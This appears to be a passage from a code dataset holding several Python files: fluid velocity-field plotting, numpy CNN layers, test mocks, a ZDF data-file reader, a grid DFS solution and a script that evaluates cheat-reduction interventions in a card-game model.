plt.plot([x69,x69],[Y[0][y2],Y[0][y1]], 'g')\n plt.plot([x34,x69],[Y[0][y1],Y[0][y1]], 'r')\n plt.plot([x34,x34],[Y[0][y2],Y[0][y1]], 'k')\n\n#Function for plotting velocity as a vector field\ndef velocity():\n N = 8\n #keeping only every 8th value for better visualizations\n nX = X[::N,::N] ; nY = Y[::N,::N] ; nU = U[::N,::N] ; nV = V[::N,::N] \n l = np.sqrt(nU**2+nV**2)\n\n box(169,159)\n box(99,84)\n box(59,49)\n\n #non-normalized plot\n plt.quiver(nX, nY, nU, nV, l, cmap='jet') \n plt.plot(xit[0], yit[0], 'k') #<this line plots the border between water and air\n plt.colorbar()\n plt.title('velocity [mm/s]') \n plt.xlabel('x-axis [mm]')\n plt.ylabel('y-axis [mm]')\n plt.show()\n\n box(169,159)\n box(99,84)\n box(59,4)\n\n #normalized plot\n plt.quiver(nX, nY, nU/l, nV/l, l, cmap='jet') \n plt.plot(xit[0], yit[0], 'k') #<this line plots the border between water and air\n plt.colorbar()\n plt.title('velocity normalized') \n plt.xlabel('x-axis [mm]')\n plt.ylabel('y-axis [mm]')\n plt.show() \n\n\n\n#calculate divergence \ndef divergence():\n dudx = np.gradient(U, dx, axis=0) \n dvdy = np.gradient(V, dy, axis=1) \n div = dudx + dvdy\n\n div_max = np.max(div); div_min = np.min(div) \n\n plt.figure()\n\n #overall divergance\n plt.subplot(2,1,1) \n plt.contourf(X, Y, div, 300, cmap='jet') \n plt.colorbar()\n plt.title('divergence [s⁻¹]') \n plt.xlabel('x-axis [mm]')\n plt.ylabel('y-axis [mm]')\n plt.plot(xit[0], yit[0],'k') \n\n box(169,159)\n box(99,84)\n box(59,49)\n\n #Divergance only from 260 s⁻¹ to -260 s⁻¹\n plt.subplot(2,1,2)\n plt.contourf(X, Y, div, levels=np.linspace(-260,260,300), cmap='jet') \n plt.colorbar()\n plt.title('divergence from -260s⁻¹ to 260s⁻¹ ') \n plt.xlabel('x-axis [mm]')\n plt.ylabel('y-axis [mm]')\n plt.plot(xit[0], yit[0], 'k') \n\n \n box(169,159)\n box(99,84)\n box(59,49)\n\n plt.show()\n\n\n#calculate curl\ndef curl():\n dudy = np.gradient(U, dy, axis=1)\n dvdx = np.gradient(V, dx, axis=0)\n curlz = dvdx - dudy\n\n plt.contourf(X,Y,curlz, 300, cmap='hsv') \n plt.colorbar()\n plt.title('Curl [s⁻¹] ') \n plt.xlabel('x-axis [mm]')\n plt.ylabel('y-axis [mm]')\n\n plt.plot(xit[0],yit[0],'k') \n\n box(169,159)\n box(99,84)\n box(59,49)\n\n plt.show()\n\n\n#plot streamlines\ndef streamline():\n \n l = np.sqrt(u**2+v**2)\n\n \n plt.streamplot(X[:,0], Y[0,:], u, v, color=l, cmap='plasma') \n plt.plot(xit[0], yit[0], 'k') \n plt.colorbar()\n plt.title('Stream') \n plt.xlabel('x-axis [mm]')\n plt.ylabel('y-axis [mm]')\n\n plt.show()\n\n\n\n#line integral along the lines of the box\ndef circulation(y1,y2):\n red = np.sum(U[34:69+1, y1]*dx) \n green = np.sum(V[69, y1:y2+1]*dy)\n blue = np.sum(U[34:69+1, y2]*(-dx)) \n black = np.sum(V[34, y1:y2+1]*(-dy))\n return red, green, blue, black \n\n#fist we test that the data is shaped as expected\nsizecheck()\n\n#then we vizualise speed and velocity of the fluids, together whit the stream lines\nspeed()\nvelocity()\nstreamline()\n\n#Next we calculate the divergance and curl over all the field\ndivergence()\ncurl()\n\n \nprint('Circulation of each box from the top ')\n\nprint(np.sum(circulation(159,169)))\nprint(np.sum(circulation(84,99)))\nprint(np.sum(circulation(49,59)))\n\nprint()\nprint('Line integral of each side in order of: red, green, blue, black')\n\nprint(circulation(159,169))\nprint(circulation(84,99))\nprint(circulation(49,59))\nprint()\n\n#calculation of circulation using Stokes theorem\ndef stokes(y1,y2):\n dudy = np.gradient(U[34:69+1, y1:y2+1], dy, axis=1)\n dvdx = np.gradient(V[34:69+1, y1:y2+1], dx, axis=0)\n curlz = dvdx - dudy\n res = np.sum(np.sum(curlz, axis=0))*dx*dy\n print(res)\n\nprint(\"Circulation calculated with Stoke's theorem\")\n\nstokes(159,169)\nstokes(84,99)\nstokes(49,59) \nprint()\n\n#flux of fluid through the boxes\ndef flux(y1,y2):\n red = np.sum(-V[34:69+1, y1]*dx) \n green = np.sum(U[69, y1:y2+1]*dy) \n blue = np.sum(V[34:69+1, y2]*dx) \n black = np.sum(-U[34, y1:y2+1]*dy)\n return red, green, blue, black\n\nprint('Flux out of each box from the top')\n\nprint(np.sum(flux(159,169)))\nprint(np.sum(flux(84,99)))\nprint(np.sum(flux(49,59)))\n\nprint()\nprint('Flux through each line in order of: red, green, blue, black')\n\nprint(flux(159,169))\nprint(flux(84,99))\nprint(flux(49,59))\n\n\"\"\"\nRun example:\n$ python3 vel_field.py \nCirculation of each box from the top \n2695.5140926958193\n-60976.60016211555\n9.521016433026077\n\nLine integral of each side in order of: red, green, blue, black\n(70100.52387861427, 266.2735761585868, -68332.85609978675, 661.5727377096991)\n(198.47559740489237, 300.21661027011714, -61243.464778495945, -231.82759129461652)\n(5133.347850903835, 207.91001043390142, -5410.039721925996, 78.30287702128548)\n\nCirculation calculated with Stoke's theorem\n2794.1435500042353\n-61322.592754967714\n2.160413041262494\n\nFlux out of each box from the top\n104.8526049082102\n-6476.939182097958\n-124.5686660449619\n\nFlux through each line in order of: red, green, blue, black\n(1556.867943941396, 21664.567474322168, -2059.677184793871, -21056.905628561482)\n(-5187.564033067892, 14782.532896182347, -4074.0522144394345, -11997.85583077298)\n(-195.57014792583357, 1536.8217966413547, 284.9436464350764, -1750.7639611955597)\n\n\n\"\"\"","repo_name":"EmmaRov/Portfolio","sub_path":"Pyhton/vel_field.py","file_name":"vel_field.py","file_ext":"py","file_size_in_byte":7421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71021529333","text":"import numpy as np\n\n\ndef linear_forward(x, w, b):\n out = x.dot(w) + b\n cache = (x, w, b)\n return out, cache\n\n\ndef linear_backward(derivative_input, cache):\n ### input:\n ### derivative_input: N*M (batch * output (forward) so in this case, it's batch_shape * incoming_derivative_dimension)\n ### cache: x,w,b\n ### M: output dimension (forward, or incoming_derivative_dimension)\n ### D:(shape of each data) in this case (28*28)\n ### N:mini_batch_size\n ### w:D*M (weight)\n ### b:M (bias)\n ### x:N*D\n\n ### output:\n ### d_in/d_x: N*D\n ### d_in/d_w: D*M\n ### d_in/d_b: M\n\n x, w, b = cache\n\n dx = derivative_input.dot(w.T)\n dw = x.T.dot(derivative_input)\n db = np.sum(derivative_input, axis=0)\n\n return dx, dw, db\n\n\ndef relu_forward(x):\n out = np.maximum(0, x)\n cache = x\n return out, cache\n\n\ndef relu_backward(derivative_input, cache):\n dx = derivative_input\n dx[cache < 0] = 0\n return dx\n\n\ndef conv_forward(x, w, b, stride=1, padding='same'):\n ### input\n ### x=-1*channel*28*28 batch_size*channel*d1*d2\n ### w=channel_out*channel_in*3*3\n ### b= channel_out\n\n batch_size = x.shape[0]\n dim_1 = x.shape[2]\n dim_2 = x.shape[3]\n channel_out = w.shape[0]\n filter_dim1 = w.shape[2]\n filter_dim2 = w.shape[3]\n\n assert padding == 'same'\n\n pad = int((filter_dim1 - 1) / 2)\n x_pad = np.pad(x, ((0,), (0,), (pad,), (pad,)), mode='constant', constant_values=0)\n dim1_out = int((dim_1 - filter_dim1 + 2 * pad) / stride + 1)\n dim2_out = int((dim_2 - filter_dim2 + 2 * pad) / stride + 1)\n\n out = np.zeros((batch_size, channel_out, dim1_out, dim2_out))\n\n for i in range(dim1_out):\n for j in range(dim2_out):\n x_local = x_pad[:, :, i * stride:i * stride + filter_dim1, j * stride:j * stride + filter_dim2]\n w_expand = np.expand_dims(w, axis=0)\n x_local_expand = np.expand_dims(x_local, axis=1)\n out[:, :, i, j] = np.sum(x_local_expand * w_expand, axis=(2, 3, 4)) + b\n\n cache = (x, w, b, stride, padding, pad)\n return out, cache\n\n\ndef conv_backward(derivative_input, cache):\n x, w, b, stride, padding, pad = cache\n dx = np.zeros_like(x)\n x_pad = np.pad(x, ((0,), (0,), (pad,), (pad,)), mode='constant', constant_values=0)\n dx_pad = np.zeros_like(x_pad)\n dw = np.zeros_like(w)\n\n db = np.sum(derivative_input, axis=(0, 2, 3))\n\n assert padding == 'same'\n\n dim_1 = x.shape[2]\n dim_2 = x.shape[3]\n filter_dim1 = w.shape[2]\n filter_dim2 = w.shape[3]\n dim1_out = int((dim_1 - filter_dim1 + 2 * pad) / stride + 1)\n dim2_out = int((dim_2 - filter_dim2 + 2 * pad) / stride + 1)\n\n for i in range(dim1_out):\n for j in range(dim2_out):\n x_local = x_pad[:, :, i * stride:i * stride + filter_dim1, j * stride:j * stride + filter_dim2]\n\n derivative_input_expand = np.expand_dims(derivative_input, axis=2)\n x_local_expand = np.expand_dims(x_local, axis=1)\n dw += np.sum(derivative_input_expand[:, :, :, i, j][:, :, :, None, None] * x_local_expand, axis=0)\n\n w_expand = np.expand_dims(w, axis=0)\n derivative_input_expand = np.expand_dims(derivative_input, axis=2)\n dx_pad[:, :, i * stride:i * stride + filter_dim1, j * stride:j * stride + filter_dim2] += np.sum(\n w_expand * derivative_input_expand[:, :, :, i, j][:, :, :, None, None], axis=1)\n\n dx = dx_pad[:, :, pad:-pad, pad:-pad]\n\n return dx, dw, db\n\n\ndef max_pool_forward(x, pool_kernel=[2, 2], stride=2):\n batch_size = x.shape[0]\n channel_in = x.shape[1]\n dim_1 = x.shape[2]\n dim_2 = x.shape[3]\n\n k_dim1 = pool_kernel[0]\n k_dim2 = pool_kernel[1]\n\n out_dim1 = int((dim_1 - k_dim1) / stride + 1)\n out_dim2 = int((dim_2 - k_dim2) / stride + 1)\n\n out = np.zeros((batch_size, channel_in, out_dim1, out_dim2))\n\n for i in range(out_dim1):\n for j in range(out_dim2):\n x_local = x[:, :, i * stride:i * stride + k_dim1, j * stride:j * stride + k_dim2]\n out[:, :, i, j] = np.max(x_local, axis=(2, 3))\n\n cache = (x, pool_kernel, stride, out)\n return out, cache\n\n\ndef max_pool_backward(derivative_input, cache):\n x, pool_kernel, stride, out = cache\n\n dim_1 = x.shape[2]\n dim_2 = x.shape[3]\n\n k_dim1 = pool_kernel[0]\n k_dim2 = pool_kernel[1]\n\n out_dim1 = int((dim_1 - k_dim1) / stride + 1)\n out_dim2 = int((dim_2 - k_dim2) / stride + 1)\n\n dx = np.zeros_like(x)\n\n for i in range(out_dim1):\n for j in range(out_dim2):\n x_local = x[:, :, i * stride:i * stride + k_dim1, j * stride:j * stride + k_dim2]\n max_location = ((out[:, :, i, j][:, :, None, None]) == x_local)\n # print('location:',np.shape(max_location))\n dx[:, :, i * stride:i * stride + k_dim1, j * stride:j * stride + k_dim2] += max_location * (\n derivative_input[:, :, i, j][:, :, None, None])\n\n return dx\n\n\ndef softmax_cross_entropy(x, y):\n ### input\n ### x:N*K\n ### y:K\n batch_size = x.shape[0]\n\n ### forwards\n eps = 1e-9\n probs = np.exp(x - np.max(x, axis=1, keepdims=True))\n probs /= np.sum(probs, axis=1, keepdims=True)\n loss = -np.sum(np.log(np.sum(probs * y, axis=1)+eps))\n\n ### backwards\n dx = probs.copy()\n dx = dx - y\n\n return loss, dx","repo_name":"zmtomorrow/Tomoflow","sub_path":"layer.py","file_name":"layer.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7328015004","text":"\"\"\"Utility constructs for testing purposes.\"\"\"\n\nfrom collections import defaultdict\nfrom mock import Mock\n\nclass BankMockerTest(object):\n # pylint: disable=too-few-public-methods\n \"\"\"A base test case class to mock out Bank creation.\"\"\"\n def __init__(self):\n self.mock_banks = defaultdict(Mock)\n self.mock_bank_class = Mock(side_effect = self.__create_bank)\n\n def teardown(self):\n self.mock_bank_class.reset_mock()\n self.mock_banks.clear()\n\n def _setup_bank(self, bank, is_fresh, is_done, scenario):\n \"\"\"Setup a mock bank.\"\"\"\n # pylint: disable=no-member\n (output_path, header, feature) = self.FEATURES[bank]\n\n self.mock_banks[bank].is_fresh.return_value = is_fresh\n self.mock_banks[bank].is_done.return_value = is_done\n self.mock_banks[bank].output_path = output_path\n self.mock_banks[bank].header = header\n self.mock_banks[bank].feature = feature\n self.mock_banks[bank].get_next_scenario.return_value = scenario\n\n def __create_bank(self, *args):\n \"\"\"Return a mock Bank instance, or creates a new one and adds it to the map.\"\"\"\n if 1 == len(args):\n is_remote = False\n (key, ) = args\n else:\n is_remote = True\n (_, host, port) = args\n key = \"@{host}:{port:d}\".format(host = host, port = port)\n\n return self.mock_banks.setdefault(key, Mock(is_remote = is_remote))\n","repo_name":"nivbend/bdd_bot","sub_path":"bddbot/test/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33767392945","text":"import json\n\nfrom src.main import logger\n\n\ndef response(err, res=None):\n status = '200'\n if err:\n status = getattr(err, 'status_code', '400')\n logger.error(\"Client response code: %s\", status)\n # build error content\n if status == '500':\n res = {'message': 'An internal server error occurred, please contact the support'}\n else:\n res = {'message': str(err)}\n\n return {\n 'statusCode': status,\n 'body': json.dumps(res, indent=2),\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Origin': '*'\n },\n }\n","repo_name":"stevehouel/serverless-todo-api","sub_path":"lib/todo-api/src/core/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"17482291560","text":"import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass ZDF_Iteration:\n\tdef __init__( self ):\n\t\tself.n = 0\n\t\tself.t = 0.\n\t\tself.tunits = \"\"\n\nclass ZDF_Grid_Axis:\n\tdef __init__( self ):\n\t\tself.type = 0\n\t\tself.min = 0.\n\t\tself.max = 0.\n\t\tself.label = ''\n\t\tself.units = ''\n\nclass ZDF_Grid_Info:\n\tdef __init__( self ):\n\t\tself.ndims = 0\n\t\tself.nx = []\n\t\tself.label = ''\n\t\tself.units = ''\n\t\tself.has_axis = 0\n\t\tself.axis = []\n\nclass ZDF_Part_Info:\n\tdef __init__( self ):\n\t\tself.name = ''\n\t\tself.nquants = 0\n\t\tself.quants = []\n\t\tself.units = dict()\n\t\tself.nparts = 0\n\nclass ZDFfile:\n\tdef __init__(self, file_name):\n\t\tself.__file = open(file_name, \"rb\")\n\n\t\t# Check magic number\n\t\tmagic = self.__file.read(4)\n\t\tif (magic != b'ZDF1'):\n\t\t\tprint('File is not a proper ZDF file, aborting', file=sys.stderr)\n\t\t\tself.__file.close\n\n\tdef close(self):\n\t\tself.__file.close\n\n\tdef __read_uint32(self):\n\t\tdata = np.fromfile(self.__file,dtype='<u4',count=1)\n\t\tif ( data.size == 0 ):\n\t\t\treturn False\n\t\telse:\n\t\t\treturn data[0]\n\n\tdef __read_int32(self):\n\t\treturn np.fromfile(self.__file,dtype='<i4',count=1)[0]\n\n\tdef __read_uint64(self):\n\t\treturn np.fromfile(self.__file,dtype='<u8',count=1)[0]\n\n\tdef __read_int64(self):\n\t\treturn np.fromfile(self.__file,dtype='<i8',count=1)[0]\n\n\tdef __read_float32(self):\n\t\treturn np.fromfile(self.__file,dtype='<f4',count=1)[0]\n\n\tdef __read_float64(self):\n\t\treturn np.fromfile(self.__file,dtype='<f8',count=1)[0]\n\n\tdef __read_string(self):\n\n\t\tlength = self.__read_uint32()\n\n\t\tif (length > 0):\n\t\t\tdata = self.__file.read(length)\n\t\t\tfstring = data.decode()\n\n\t\t\t# Data is always written in blocks of 4 byt\n\t\t\tpad = ((length - 1) // 4 + 1) * 4 - length\n\t\t\tif ( pad > 0 ):\n\t\t\t\tself.__file.seek(pad,1)\n\t\telse:\n\t\t\tfstring = \"\"\n\n\t\treturn fstring\n\n\tdef record_type(self, typeTag):\n\t\tversion = typeTag & 0x0000FFFF\n\t\ttypeID = typeTag & 0xFFFF0000\n\n\t\ttypes = {0x00010000: \"int\",\n\t\t\t\t 0x00020000: \"double\",\n\t\t\t\t 0x00030000: \"string\",\n\t\t\t\t 0x00100000: \"dataset\",\n\t\t\t\t 0x00200000: \"iteration\",\n\t\t\t\t 0x00210000: \"grid_info\",\n\t\t\t\t 0x00220000: \"part_info\", }\n\n\t\tif (typeID in types):\n\t\t\treturn types[typeID]\n\t\telse:\n\t\t\treturn \"unknown\"\n\n# -----------------------------------------------------------------------------\n# Low level interfaces\n# -----------------------------------------------------------------------------\n\n\tdef read_record(self, skip=False):\n\n\t\tpos = self.__file.tell()\n\n\t\t# Read record id and check for EOF\n\t\tid = self.__read_uint32()\n\n\t\tif (id is False):\n\t\t\t# If end of file return false\n\t\t\treturn False\n\n\t\t# Read record ID\n\t\trec = dict()\n\t\trec['pos'] = pos\n\t\trec['id'] = id\n\t\trec['name'] = self.__read_string()\n\t\trec['len'] = self.__read_uint64()\n\n\t\tif (skip):\n\t\t\tself.__file.seek(rec['len'], 1)\n\n\t\treturn rec\n\n\tdef read_string(self):\n\t\trec = self.read_record()\n\t\tfstring = self.__read_string()\n\t\treturn fstring\n\n\tdef read_iteration(self):\n\t\trec = self.read_record()\n\t\titeration = ZDF_Iteration()\n\t\titeration.n = self.__read_int32()\n\t\titeration.t = self.__read_float64()\n\t\titeration.tunits = self.__read_string()\n\t\treturn iteration\n\n\tdef read_grid_info(self):\n\t\trec = self.read_record()\n\t\tinfo = ZDF_Grid_Info()\n\t\tinfo.ndims = self.__read_uint32()\n\n\t\tfor i in range(info.ndims):\n\t\t\tinfo.nx.append(self.__read_uint64())\n\n\t\tinfo.label = self.__read_string()\n\t\tinfo.units = self.__read_string()\n\t\tinfo.has_axis = self.__read_int32()\n\n\t\tif ( info.has_axis ):\n\t\t\tfor i in range(info.ndims):\n\t\t\t\tax = ZDF_Grid_Axis()\n\t\t\t\tax.type = self.__read_int32()\n\t\t\t\tax.min = self.__read_float64()\n\t\t\t\tax.max = self.__read_float64()\n\t\t\t\tax.label = self.__read_string()\n\t\t\t\tax.units = self.__read_string()\n\t\t\t\tinfo.axis.append(ax)\n\n\t\treturn info\n\n\tdef read_part_info(self):\n\t\trec = self.read_record()\n\n\t\tinfo = ZDF_Part_Info()\n\t\tinfo.name = self.__read_string()\n\t\tinfo.nquants = self.__read_uint32()\n\n\t\tfor i in range(info.nquants):\n\t\t\tinfo.quants.append(self.__read_string())\n\n\t\tfor q in info.quants:\n\t\t\tinfo.units[q] = self.__read_string()\n\n\t\tinfo.nparts = self.__read_uint64()\n\n\t\treturn info\n\n\tdef read_dataset(self):\n\t\trec = self.read_record()\n\n\t\tdata_type = self.__read_int32()\n\t\tndims = self.__read_uint32()\n\t\tnx = []\n\t\tsize = np.uint64(1)\n\n\t\tfor i in range(ndims):\n\t\t\tnx.append(self.__read_uint64())\n\t\t\tsize *= nx[i]\n\n\t\t# Read dataset and convert it to a numpy array\n\t\t# 9 - float32, 10 - float64\n\t\tif (data_type == 9):\n\t\t\tdata = np.fromfile(self.__file,dtype='float32',count=size)\n\t\telif (data_type == 10):\n\t\t\tdata = np.fromfile(self.__file,dtype='float64',count=size)\n\t\telse:\n\t\t\tprint('Unsupported datatype', file=sys.stderr)\n\t\t\treturn False\n\n\t\t# Reshape dataset to the supplied dimensions\n\t\tnx.reverse()\n\t\tdata.shape = nx\n\n\t\treturn data\n\n\tdef list(self, printRec=False):\n\t\t# Position file after magic number\n\t\tself.__file.seek(4)\n\n\t\trec_list = []\n\t\twhile True:\n\t\t\trec = self.read_record(skip=True)\n\t\t\tif (rec is False):\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\trec_list.append(rec)\n\n\t\tif (printRec and (len(rec_list) > 0)):\n\t\t\tprint('Position Size(bytes) Type Name')\n\t\t\tprint('-------------------------------------------------')\n\t\t\tfor rec in rec_list:\n\t\t\t\tprint('{:#010x} {:#010x} {:10} {}'.format(\n\t\t\t\t\trec['pos'], rec['len'],\n\t\t\t\t\tself.record_type(rec['id']), rec['name']))\n\n\t\treturn rec_list\n\n# -----------------------------------------------------------------------------\n# High level interfaces\n# -----------------------------------------------------------------------------\n\nclass ZDF_Info:\n\t\"\"\"ZDF File information\"\"\"\n\tdef __init__(self):\n\t\tself.type = \"\"\n\t\tself.grid = None\n\t\tself.particles = None\n\t\tself.iteration = None\n\n\ndef info( file_name ):\n\t# Open file\n\tzdf = ZDFfile( file_name )\n\n\t# Check file type and read metadata\n\tinfo = ZDF_Info()\n\tinfo.type = zdf.read_string()\n\tif ( info.type == \"grid\" ):\n\t\tinfo.grid = zdf.read_grid_info()\n\telif ( info.type == \"particles\" ):\n\t\tinfo.particles = zdf.read_part_info()\n\telse:\n\t\tprint(\"File is not a valid ZDF grid or particles file\", file=sys.stderr)\n\t\tzdf.close()\n\t\treturn False\n\n\t# Read iteration info\n\tinfo.iteration = zdf.read_iteration()\n\n\t# Close file\n\tzdf.close()\n\n\treturn info\n\ndef read( file_name ):\n\t# Open file\n\tzdf = ZDFfile( file_name )\n\n\t# Check file type and read metadata\n\tinfo = ZDF_Info()\n\n\tinfo.type = zdf.read_string()\n\tif ( info.type == \"grid\" ):\n\t\tinfo.grid = zdf.read_grid_info()\n\t\tinfo.iteration = zdf.read_iteration()\n\t\tdata = zdf.read_dataset()\n\telif ( info.type == \"particles\" ):\n\t\tinfo.particles = zdf.read_part_info()\n\t\tinfo.iteration = zdf.read_iteration()\n\n\t\t# Read all quantities\n\t\tdata = dict()\n\t\tfor q in info.particles.quants:\n\t\t\tdata[q] = zdf.read_dataset()\n\telse:\n\t\tprint(\"File is not a valid ZDF grid or particles file\", file=sys.stderr)\n\t\tzdf.close()\n\t\treturn False\n\n\t#Close file\n\tzdf.close()\n\n\treturn (data,info)\n\ndef list(file_name, printRec=False):\n\tzdf = ZDFfile(file_name)\n\tzdf.list(printRec)\n\tzdf.close()\n\n","repo_name":"bruno-mma/ZPIC-GASPI","sub_path":"python/zdf.py","file_name":"zdf.py","file_ext":"py","file_size_in_byte":6829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6626928287","text":"dx, dy= [1, -1, 0, 0], [0, 0, 1, -1]\n\nn=int(input())\ncube=[]\n\nanswer=[]\nfor _ in range(n):\n cube.append(list(map(int, input())))\n\n\ndef dfs(node,c):\n x,y=node\n cube[x][y]=0\n for k in range(4):\n dxx, dyy=x+dx[k], y+dy[k]\n if -1<dxx<n and -1<dyy<n and cube[dxx][dyy]:\n c=dfs((dxx,dyy),c+1)\n return c\nfor i in range(n):\n for j in range(n):\n if cube[i][j]==1:\n answer.append(dfs((i,j),1))\n\n\nanswer.sort()\nprint(len(answer))\nfor a in answer:\n print(a)\n\n\"\"\"\n보통 이런 합 문제가 나올때는 dfs로 +1을 해가며 총 개수를 구하는게 가장 바람직한? 방법인 것 같다 왜냐면 굳이 계속 배열에 접근해서 ���을 수정할 필요도 없고\n재귀함수의 수만큼 구해서 해주는게 얼마나 멋잇는가! ㅋㅋ 장난이고 암튼 이런문제 풀때마다 이런식으로 해야지! 를 생각하지만 자꾸 까먹는지 뭔지 안하게 되는 것 같다\n문제좀 많이 풀어서 해결방법을 잘 익히는게 필요할 듯\n생각 못했던 점은\n1. visited라는 배열을 쓸 필요 없이 방문했던 곳을 0 처리 시키는 것\n2. 총 개수를 return해줄 때 어쨌든 한번의 함수에서 나온c를 리턴해주는 것이기 때문에 c=dfs() 이런식으로 해야지 총 개수를 구할 수 있다는 점\n이정도가 있을 것 같다. 갔다온 곳은 0 처리 해주고, 간 만큼 +1 해주면서 dfs를 쓰는 방법! 꼭 생각하자!\n\"\"\"","repo_name":"kkkmj/algorithm_study","sub_path":"BFS&DFS/2667 d.ver.py","file_name":"2667 d.ver.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37144717363","text":"\"\"\"Evaluate and compare different cheat-reduction interventions.\"\"\"\n# %%\n# Imports, etc.\n\nimport pickle\nimport datetime\nimport glob\nimport os\n\n# TEMP\n# os.environ[\"CUDA_LAUNCH_BLOCKING\"] = \"1\"\n\nimport numpy as np\nimport pandas as pd\nimport torch as t\nfrom tqdm.auto import tqdm\nimport plotly.express as px\nimport plotly.graph_objects as go\n\nfrom ai_safety_games import cheat, utils, training, cheat_utils\nfrom ai_safety_games.ScoreTransformer import ScoreTransformer\n\nutils.enable_ipython_reload()\n\n# Disable gradients\n_ = t.set_grad_enabled(False)\n\ngame_filter = None\n\nGOAL_SCORE = 5\n# TODO: this should be in config somewhere\nMAX_TURNS = 40\nNUM_GAMES = 2000\n\n\n# %%\n# Filtering of training data\n# ----------------------------------------------------------------------------\nFOLDERS = (\n [\n \"20230828T152710\",\n \"20230828T153956\",\n \"20230828T155240\",\n \"20230828T160534\",\n \"20230828T161917\",\n \"20230828T163421\",\n ]\n + [\n \"20230828T202053\",\n \"20230828T203332\",\n \"20230828T204618\",\n \"20230828T205926\",\n \"20230828T211249\",\n ]\n + [\n \"20230828T230224\",\n \"20230828T231500\",\n \"20230828T232745\",\n \"20230828T234022\",\n ]\n)\nINCLUDE_CHEAT_RATES = (\n [0.0, 0.01, 0.03, 0.1, 0.3, 1.0]\n + [\n 0.02,\n 0.05,\n 0.15,\n 0.2,\n 0.25,\n ]\n + [0.001, 0.002, 0.004, 0.007]\n)\n\nfilter_test_results_list = []\nfor folder, include_cheat_rate in tqdm(\n list(zip(FOLDERS, INCLUDE_CHEAT_RATES))\n):\n # Load training results\n with open(\n os.path.join(\"cheat_train_results\", folder, \"results.pkl\"), \"rb\"\n ) as file:\n results = pickle.load(file)\n\n # Load info about the dataset\n (\n game_config,\n players_all,\n ) = cheat_utils.load_config_and_players_from_dataset(\n results[\"config\"][\"dataset_folder\"]\n )\n\n # Create test players list\n test_players = [\n players_all[idx] for idx in results[\"config\"][\"test_player_inds\"]\n ]\n\n # Play a bunch of test games and store results\n margins, cheat_rate = cheat_utils.run_test_games(\n model=results[\"training_results\"][\"model\"],\n game_config=game_config,\n num_games=NUM_GAMES,\n goal_score=GOAL_SCORE,\n max_turns=MAX_TURNS,\n players=test_players,\n seed=0,\n show_progress=True,\n map_func=cheat_utils.get_action_types,\n reduce_func=cheat_utils.get_cheat_rate,\n )\n filter_test_results_list.append(\n {\n \"include_cheat_rate\": include_cheat_rate,\n \"goal_score\": GOAL_SCORE,\n \"win_rate\": (margins > 0).mean(),\n \"cheat_rate\": cheat_rate,\n }\n )\n\nfilter_test_results_df = pd.DataFrame(filter_test_results_list).sort_values(\n \"include_cheat_rate\"\n)\n\nperf_data_filter = filter_test_results_df[\n [\"cheat_rate\", \"win_rate\", \"include_cheat_rate\"]\n].reset_index(drop=True)\n\n\n# %%\n# Penalties on cheat action log-probs during training\n# ----------------------------------------------------------------------------\n\n# With bug that INCREASED the cheat rates!\n# RESULTS_RANGE = (\"20230827T002903\", \"20230827T060501\")\nRESULTS_RANGE = (\"20230827T234948\", \"20230828T053121\")\n\n# Get folders for results in range\nfns_all = list(glob.glob(\"cheat_train_results/*\"))\nfns_in_range = [\n fn\n for fn in fns_all\n if RESULTS_RANGE[0] <= fn.split(\"/\")[-1] <= RESULTS_RANGE[1]\n]\n\n# Load one-by-one and store key results\nresults_list = []\npenalize_test_results_list = []\nfor fn in tqdm(fns_in_range):\n # Load training results\n with open(os.path.join(fn, \"results.pkl\"), \"rb\") as file:\n results = pickle.load(file)\n results_list.append(\n pd.DataFrame(\n {\n \"fn\": fn,\n \"cheat_penalty_weight\": results[\"config\"][\n \"cheat_penalty_weight\"\n ],\n \"cheat_penalty_apply_prob\": results[\"config\"][\n \"cheat_penalty_apply_prob\"\n ],\n \"win_rate\": results[\"training_results\"][\"results\"][\n \"test_win_rate_goal_5\"\n ],\n }\n )\n )\n\n # Load info about the dataset\n (\n game_config,\n players_all,\n ) = cheat_utils.load_config_and_players_from_dataset(\n results[\"config\"][\"dataset_folder\"]\n )\n\n # Create test players list\n test_players = [\n players_all[idx] for idx in results[\"config\"][\"test_player_inds\"]\n ]\n\n # Play a bunch of test games and store results\n margins, cheat_rate = cheat_utils.run_test_games(\n model=results[\"training_results\"][\"model\"],\n game_config=game_config,\n num_games=NUM_GAMES,\n goal_score=GOAL_SCORE,\n max_turns=MAX_TURNS,\n players=test_players,\n seed=0,\n show_progress=True,\n map_func=cheat_utils.get_action_types,\n reduce_func=cheat_utils.get_cheat_rate,\n )\n penalize_test_results_list.append(\n {\n \"cheat_penalty_weight\": results[\"config\"][\"cheat_penalty_weight\"],\n \"cheat_penalty_apply_prob\": results[\"config\"][\n \"cheat_penalty_apply_prob\"\n ],\n \"goal_score\": GOAL_SCORE,\n \"win_rate\": (margins > 0).mean(),\n \"cheat_rate\": cheat_rate,\n }\n )\n\npenalize_test_results_df = pd.DataFrame(\n penalize_test_results_list\n).sort_values([\"cheat_penalty_weight\", \"cheat_penalty_apply_prob\"])\n\n# results_df = (\n# pd.concat(results_list)\n# .reset_index()\n# .sort_values([\"cheat_penalty_weight\", \"cheat_penalty_apply_prob\"])\n# )\n# px.line(\n# results_df,\n# x=\"index\",\n# y=\"win_rate\",\n# color=\"cheat_penalty_weight\",\n# facet_col=\"cheat_penalty_apply_prob\",\n# )\n\n# %%\n# Visualize results\nplot_df = penalize_test_results_df.melt(\n id_vars=[\"cheat_penalty_weight\", \"cheat_penalty_apply_prob\"],\n value_vars=[\"win_rate\", \"cheat_rate\"],\n).rename({\"variable\": \"quantity\", 